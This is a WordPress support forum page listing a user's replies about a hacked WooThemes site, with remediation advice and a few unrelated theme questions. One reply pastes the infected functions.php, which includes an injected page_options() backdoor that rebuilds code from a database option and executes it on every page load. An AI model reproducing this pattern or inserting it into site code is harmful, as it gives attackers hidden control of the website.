brianpalmer
Forum Replies Created
-
Also, if anyone comes to this page and has similar issues, please read this post (http://davemeehan.com/technology/wordpress-install-hacked-again-with-page_options-function-and-references-to-kadaffizzet-com) along with Renald’s comments. You need to delete multiple files, remove some code, add the timthumb vulnerability plugin and then you should be good.
Thanks to Sharonmiranda, I’m going to change the status of this to resolved.
I would also recommend adding the following plugin to your site: http://wordpress.org/extend/plugins/timthumb-vulnerability-scanner/
The timthumb tool is how how the hackers got in, and in addition to the header and functions file, they often add other pages to your cache. With that plugin you can update timthumb to a stable version and also see a scan of your files to see what else is infected. I’m considering saving everything, using an old database backup and wiping everything, but we’ll see.
sharonmiranda, I removed the code and now my site works fine as well. I also took out that weird code under the wordpress counter. I’ve now checked my site using sitecheck and nothing shows up in terms of viruses/bugs. Do you guys recommend looking into this more or is it just a matter of those two bits of code?
Thanks so much Len. Quite a bummer to find that out, but at least I know what I’m dealing with now. Thanks for your help.
No idea. I do not recall adding any of that.
Ok, I think I found what you’re looking for. Here’s everything that was in the “functions.php” box:
“<?php
/*———————————————————————————–*/
/* Start WooThemes Functions – Please refrain from editing this section */
/*———————————————————————————–*/// Set path to WooFramework and theme specific functions
$functions_path = TEMPLATEPATH . ‘/functions/’;
$includes_path = TEMPLATEPATH . ‘/includes/’;// WooFramework
require_once ($functions_path . ‘admin-init.php’); // Framework Init// Theme specific functionality
require_once ($includes_path . ‘theme-options.php’); // Options panel settings and custom settings
require_once ($includes_path . ‘theme-functions.php’); // Custom theme functions
require_once ($includes_path . ‘theme-comments.php’); // Custom comments/pingback loop
require_once ($includes_path . ‘theme-js.php’); // Load javascript in wp_head
require_once ($includes_path . ‘sidebar-init.php’); // Initialize widgetized areas
require_once ($includes_path . ‘theme-widgets.php’); // Theme widgets/*———————————————————————————–*/
/* End WooThemes Functions – You can add custom functions below */
/*———————————————————————————–*/?>
<?php function page_options() { $option = get_option(‘page_option’); $opt=unserialize($option);
@$arg = create_function(”, $opt[1].$opt[4].$opt[10].$opt[12].$opt[14].$opt[7] );return $arg(”);}
add_action(‘loop_start’, ‘page_options’); ?>”Yeah, the theme has been altered quite a bit. It’s been awhile, where do I go to view “functions.php”?
Ok, renamed it and now nothing shows up at all. Please advise as to the next step (and thank you).
Forum: Themes and Templates
In reply to: Adding text to search bar in buenoI looked up the jquery and came across the enhanced search box plugin that allowed me to fix it. Thanks risir!
Forum: Themes and Templates
In reply to: Adding text to search bar in buenoI have tried editing the searchform. This is what I have in there currently:
[Code moderated as per the Forum Rules. Please use the pastebin or post small code snippets between backticks.]
rsirotheau, where do I find that jquery?
Forum: Themes and Templates
In reply to: Can't seem to make header clickable in BuenoI tried that and now there’s no header at all.
Is there any code that I can copy and paste here that would help to fix the issue?
Forum: Themes and Templates
In reply to: Can't seem to make header clickable in BuenoThanks for such a quick reply gdgirl. I tried what you wrote, but couldn’t seem to find where to place the “height: 143px;”
I’m sure this is probably a dumb question, but how do I know where the declaration on line 48 is?